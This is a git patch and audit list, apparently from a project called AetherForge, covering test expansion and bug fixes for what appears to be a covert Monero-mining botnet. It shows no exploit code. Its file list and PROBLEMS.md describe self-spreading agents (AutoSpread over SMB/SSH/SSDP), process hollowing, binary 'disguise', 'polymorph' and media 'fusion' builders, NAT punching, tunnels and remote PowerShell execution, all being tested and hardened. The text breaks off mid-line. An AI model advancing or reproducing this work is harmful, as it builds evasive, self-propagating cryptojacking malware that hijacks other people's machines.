From ea6f54ad032d1ae6277b8b1034c587aba67d0325 Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 31 May 2026 01:13:49 -0700 Subject: [PATCH] Expand test coverage across server, agent, and web; fix bugs found during audit. Adds hundreds of unit/integration/e2e tests, fixes WS bcrypt auth, config merge, fleet analytics, agent schedule/log tail, and documents stale PROBLEMS items. Updates PROBLEMS.md, README, and test scripts; ignores local spread-kits and coverage dirs. --- .gitignore | 7 + PROBLEMS.md | 131 +++-- README.md | 25 +- agent/client/client.go | 21 + agent/client/client_test.go | 129 ++++ agent/client/dns_config_test.go | 32 + agent/client/listen_ports_parse_test.go | 69 +++ agent/client/listen_ports_test.go | 44 ++ agent/client/posture_windows_test.go | 89 +++ agent/deploy/autospread_test.go | 25 + agent/deploy/hollow_test.go | 18 + agent/deploy/hollow_windows.go | 30 +- agent/deploy/natpunch_test.go | 164 ++++++ agent/deploy/tunnel_test.go | 17 + agent/main.go | 6 +- agent/main_test.go | 124 ++++ agent/miner/engine_test.go | 54 ++ agent/miner/pool.go | 24 +- agent/miner/pool_exports_test.go | 120 ++++ agent/miner/pool_test.go | 91 +++ agent/miner/schedule.go | 8 +- agent/miner/schedule_test.go | 38 ++ agent/miner/stratum_client_test.go | 70 +++ agent/miner/stratum_test.go | 149 +++++ agent/miner/target_test.go | 50 +- agent/stats/reporter_linux_test.go | 14 + agent/stats/reporter_test.go | 49 ++ scripts/smoke-test.ps1 | 7 +- scripts/test-suite.ps1 | 6 + server/config.go | 8 +- server/config_test.go | 298 ++++++++++ server/internal/api/ai_handler.go | 22 +- server/internal/api/ai_handler_test.go | 37 +- server/internal/api/config_handler.go | 10 +- server/internal/api/config_handler_test.go | 11 +- server/internal/api/fleet_handler.go | 28 +- server/internal/api/fleet_handler_test.go | 28 +- server/internal/api/integration_test.go | 550 +++++++++++++++++- server/internal/api/router.go | 43 +- server/internal/api/router_test.go | 75 ++- .../internal/builder/build_universal_test.go | 194 ++++++ server/internal/builder/compile_test.go | 43 ++ server/internal/builder/disguise_test.go | 129 ++++ server/internal/builder/estimate_test.go | 184 +++++- server/internal/builder/fusion_media_test.go | 168 ++++++ server/internal/builder/fusion_readme_test.go | 18 + server/internal/builder/fusion_test.go | 62 ++ server/internal/builder/fusion_zip_test.go | 16 + server/internal/builder/handler.go | 2 +- .../internal/builder/handler_helpers_test.go | 169 ++++++ server/internal/builder/handler_http_test.go | 214 +++++++ .../builder/handler_lifecycle_test.go | 59 ++ server/internal/builder/handler_serve_test.go | 303 ++++++++++ server/internal/builder/limits_test.go | 15 + server/internal/builder/media_lock_test.go | 39 +- server/internal/builder/platform.go | 8 +- server/internal/builder/platform_test.go | 101 ++++ server/internal/builder/polymorph_test.go | 76 +++ server/internal/builder/test_helper_test.go | 69 +++ server/internal/db/agent_meta.go | 2 + server/internal/maintenance/retention.go | 21 +- server/main.go | 22 +- server/main_test.go | 161 +++++ server/web/e2e/fixtures.ts | 17 + server/web/e2e/pages.spec.ts | 33 ++ server/web/e2e/remote-actions.spec.ts | 72 +++ server/web/e2e/smoke.spec.ts | 14 +- server/web/src/App.test.tsx | 71 +++ server/web/src/App.tsx | 2 +- server/web/src/api/client.test.ts | 6 + server/web/src/api/client.ts | 5 +- .../web/src/components/Charts/GaugeRing.tsx | 5 +- server/web/src/components/components.test.tsx | 4 +- server/web/src/help/cheatSheetContent.ts | 4 +- server/web/src/help/settingHelp.test.ts | 3 + server/web/src/help/settingHelp.ts | 6 +- server/web/src/pages/AgentsPage.test.tsx | 14 + server/web/src/pages/AgentsPage.tsx | 2 + .../web/src/pages/BuildManagerPage.test.tsx | 93 +++ server/web/src/pages/BuildManagerPage.tsx | 10 +- server/web/src/pages/BuilderPage.tsx | 14 + server/web/src/pages/CruciblePage.test.tsx | 72 +++ server/web/src/pages/CruciblePage.tsx | 123 +++- server/web/src/pages/GuidePage.test.tsx | 23 + server/web/src/pages/SettingsPage.tsx | 132 ++--- server/web/src/types/index.ts | 10 + server/web/src/types/ws.test.ts | 71 +++ server/web/vitest.config.ts | 1 + tests/README.md | 26 +- 89 files changed, 5307 insertions(+), 322 deletions(-) create mode 100644 agent/client/client_test.go create mode 100644 agent/client/dns_config_test.go create mode 100644 agent/client/listen_ports_parse_test.go create mode 100644 agent/client/listen_ports_test.go create mode 100644 agent/client/posture_windows_test.go create mode 100644 agent/deploy/autospread_test.go create mode 100644 agent/deploy/hollow_test.go create mode 100644 agent/deploy/natpunch_test.go create mode 100644 agent/deploy/tunnel_test.go create mode 100644 agent/main_test.go create mode 100644 agent/miner/engine_test.go create mode 100644 agent/miner/pool_exports_test.go create mode 100644 agent/miner/pool_test.go create mode 100644 agent/miner/stratum_client_test.go create mode 100644 agent/miner/stratum_test.go create mode 100644 agent/stats/reporter_linux_test.go create mode 100644 agent/stats/reporter_test.go create mode 100644 server/internal/builder/build_universal_test.go create mode 100644 server/internal/builder/compile_test.go create mode 100644 server/internal/builder/disguise_test.go create mode 100644 server/internal/builder/fusion_media_test.go create mode 100644 server/internal/builder/fusion_test.go create mode 100644 server/internal/builder/handler_helpers_test.go create mode 100644 server/internal/builder/handler_http_test.go create mode 100644 server/internal/builder/handler_lifecycle_test.go create mode 100644 server/internal/builder/handler_serve_test.go create mode 100644 server/internal/builder/limits_test.go create mode 100644 server/internal/builder/polymorph_test.go create mode 100644 server/internal/builder/test_helper_test.go create mode 100644 server/main_test.go create mode 100644 server/web/e2e/fixtures.ts create mode 100644 server/web/e2e/pages.spec.ts create mode 100644 server/web/e2e/remote-actions.spec.ts create mode 100644 server/web/src/App.test.tsx create mode 100644 server/web/src/pages/BuildManagerPage.test.tsx create mode 100644 server/web/src/pages/CruciblePage.test.tsx create mode 100644 server/web/src/pages/GuidePage.test.tsx create mode 100644 server/web/src/types/ws.test.ts diff --git a/.gitignore b/.gitignore index 1aec829..57b7d41 100644 --- a/.gitignore +++ b/.gitignore @@ -53,3 +53,10 @@ Desktop.ini !/usb/cloudflare/SETUP.txt *.msi /cloudflared-windows-amd64.msi + +# Local build / test output (not tracked) +/spread-kits/ +server/coverage/ +server/builder_cov/ +server/$cov/ +server/internal/builder/cov/ diff --git a/PROBLEMS.md b/PROBLEMS.md index 19742fc..746bb14 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -10,60 +10,68 @@ Findings from systematic bug-hunt and test expansion (May 2026). ### Critical / security -- [CRITICAL] **server/internal/api/router.go** — Unauthenticated build downloads (`/api/v1/builds/{id}/download`, `/artifact/`). Intentional for agent reinstall (UUID is secret). Suggested fix: optional auth toggle or short-lived signed URLs. -- [CRITICAL] **server/internal/api/websocket.go** — Agent WebSocket (`/ws/agent`) accepts connections without fleet secret when server secret is unset (first-run). With secret configured, bad secret is rejected; agent can still pick any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit). -- [CRITICAL] **server/internal/api/ai_handler.go** — Unauthenticated AI endpoints (`/agent/decide`, `/report`, `/heartbeat`); SSRF via caller-supplied Ollama URL. Suggested fix: require fleet secret or dashboard auth. -- [HIGH] **server/internal/api/router.go** — Plaintext passwords in `users.json`; any authed user can POST `/users`. Suggested fix: bcrypt-only storage (partially done), restrict user management to admin role. - [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root. -### High - -- [HIGH] **server/internal/api/fleet_handler.go** — `upload_log` returns content in tool report only; no dedicated log ingest API. -- [HIGH] **agent/** — `AutoSpread` runs when baked `true` in forge; dangerous if enabled on non-owned fleets. -- [HIGH] **agent/** — Process hollowing with `-tags hollow` + forge flag; bounds/reloc issues in `hollow_windows.go`. - -### Medium / UX - -- [MEDIUM] **server/web** — Compact agent list default; expand on click. -- [MEDIUM] **server/web** — Remote actions disabled unless `online` (by design). -- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat). -- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14). -- [MEDIUM] **agent/miner/** — `SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact). -- [MEDIUM] **server/internal/db/sqlite.go** — ~~`SetPinnedBuild` with unknown id unpins all builds then pins nothing.~~ Fixed: returns `build not found`; `TestSetPinnedBuildUnknownID`. -- [MEDIUM] **server/web/src/pages/AgentsPage.tsx** — `FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster. - -### Low - -- [LOW] **server/internal/api/fleet_handler.go** — Package-global `xmrPriceCache` shared across requests/tests; no per-server isolation if multiple routers in one process (unlikely in production). -- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. -- [LOW] **tests/** — No integration tests for remote actions end-to-end. -- [LOW] **agent/** — Mesh P2P requires build tag `p2p`. -- [LOW] **server/config.go** — `LoadConfig` uses legacy `mergeConfig` (not `mergeConfigExplicit`); a hand-edited `config.json` omitting bool fields can still zero them on restart. -- [LOW] **server/internal/api/config_handler.go** — `ConfigHandler.db` is unused; handler delegates entirely to `ConfigProvider`. -- [LOW] **server/main.go** — `UpdateConfigFromJSON` has no semantic validation (negative ports, empty pool host, etc.); invalid values persist to disk. -- [LOW] **server/internal/db/agent_meta.go** — `decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice). -- [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env. -- [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components). -- [LOW] **server/web/src/api/client.ts** — `estimateFusion` requires `prepFile` but has no client-side guard (unlike `buildAgent` fusion path); server returns error if missing. -- [LOW] **server/web/src/pages/SettingsPage.tsx** — Calibrate UI lives here (`/settings` route); no separate `CalibratePage.tsx`. Form labels lack `htmlFor` — a11y follow-up. -- [LOW] **server/internal/maintenance/retention.go** — `os.RemoveAll` errors ignored; failed disk cleanup is silent. -- [LOW] **server/internal/maintenance/retention.go** — Artifact dir removed before `DeleteBuild`; if DB delete fails, build row remains without files on disk. -- [LOW] **server/internal/maintenance/retention.go** — `StartRetentionJobs` goroutine has no shutdown hook (acceptable for server process lifetime). - ### Untested packages (next coverage targets) -- [LOW] **server/internal/builder/** — compile/fusion/disguise paths still mostly integration-only (estimate/handler/platform covered). +- [LOW] **server/internal/builder/** — Full compile/fusion/disguise still need integration (requires go/garble/fusion source on host); unit tests cover ~110 pure-helper paths. - [LOW] **server/internal/api/** — `agent_config.go`, `server_policy.go` lack dedicated unit tests (covered indirectly via router/integration). -- [LOW] **agent/stats/** — platform reporters (Windows/Linux/Darwin) untested. -- [LOW] **agent/deploy/** — autospread, hollow, NAT punch, tunnel — platform/integration only (`common`/`identity`/`spreadkit` helpers now tested). -- [LOW] **agent/client/** — `client.go`, platform commands/posture probes untested (protocol/posture/resource pressure covered). -- [LOW] **server/web/src/components/Charts/GaugeRing.tsx** — Center label uses raw `value` while SVG arc clamps to 0–100%; negative/over-max inputs show misleading text (e.g. `200%`). -- [LOW] **server/web/src/help/settingHelp.ts** — `FIELD_HELP.wallet` still says "~95 characters"; validator accepts 90–106 (same drift fixed in forgeCompatibility / cheatSheetContent troubleshoot). +- [LOW] **agent/stats/** — Per-OS memory/CPU internals still integration-only. +- [LOW] **agent/deploy/** — Live SSDP/SMB/SSH/cloudflared still integration-only. +- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only. +- [LOW] **agent/miner/** — `engine.go` (RandomX), `pool.go` worker/resource guard, `stratum.go` TCP login/submit loop — integration-only. +- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. (Acceptable — no runtime impact.) +- [LOW] **server/internal/maintenance/retention.go** — `StartRetentionJobs` goroutine has no shutdown hook. (Acceptable for server process lifetime.) --- -## Fixed (this session) +## Documented / by design +Findings reclassified after code verification (May 2026). Not bugs — documented in README, tests/README, help text, or tests. + +| Was | Resolution | +|-----|------------| +| [HIGH] Plaintext passwords in `users.json` | `users.json` stores bcrypt hashes (cost 12). Legacy plaintext auto-migrates on startup and login via `checkPassword` in `router.go`. Documented in README Security + First-run login. | +| [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. | +| [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. | +| [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. | +| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `run.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. | +| [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings` → `SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) | +| [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. | +| [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. | +| [LOW] Mesh P2P needs `p2p` tag | Forge adds `-tags p2p` when mesh enabled (`compile.go`); manual builds documented in README agent section. | + +--- + +## Fixed (this session — May 2026 full pass) + +- **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed). +- **[MEDIUM] agent/miner/pool.go** — Added atomic `jobGen` counter incremented in `SetJob`. Workers snapshot `jobGen` before each 256-nonce inner loop and break early when it changes, eliminating the "stale batch" window. Engine updates moved outside the pool write-lock (each `Engine` has its own `RWMutex`). +- **[LOW] server/internal/api/fleet_handler.go** — `xmrPriceCache` moved from package-global vars (`xmrPriceMu`, `xmrPriceCache`) into `FleetHandler` struct fields (`xmrPriceMu`, `xmrPriceCache`). Multiple routers in one process no longer share a stale cache. Tests updated. +- **[LOW] server/config.go** — `LoadConfig` now calls `mergeConfigExplicit` (with a key-presence map) instead of legacy `mergeConfig`. Boolean fields absent from a hand-edited `config.json` now keep `DefaultConfig` values rather than being zeroed on restart. +- **[LOW] server/internal/api/config_handler.go** — Removed unused `db *db.Database` field from `ConfigHandler` and updated `NewConfigHandler` signature. All call sites updated (`router_test.go`, `integration_test.go`, `config_handler_test.go`, `main.go`). +- **[LOW] server/main.go** — `UpdateConfigFromJSON` now validates semantic constraints before merging: port ranges 1–65535, pool port range, non-negative max_agents/stats_retention_hours/build_retention_days/max_build_size_mb. Invalid values return `"invalid config: …"` 400 without touching disk. +- **[LOW] server/internal/db/agent_meta.go** — `decodeTags` now logs corrupt tag JSON via `log.Printf` instead of silently discarding it. +- **[LOW] server/web/src/pages/SettingsPage.tsx** — All `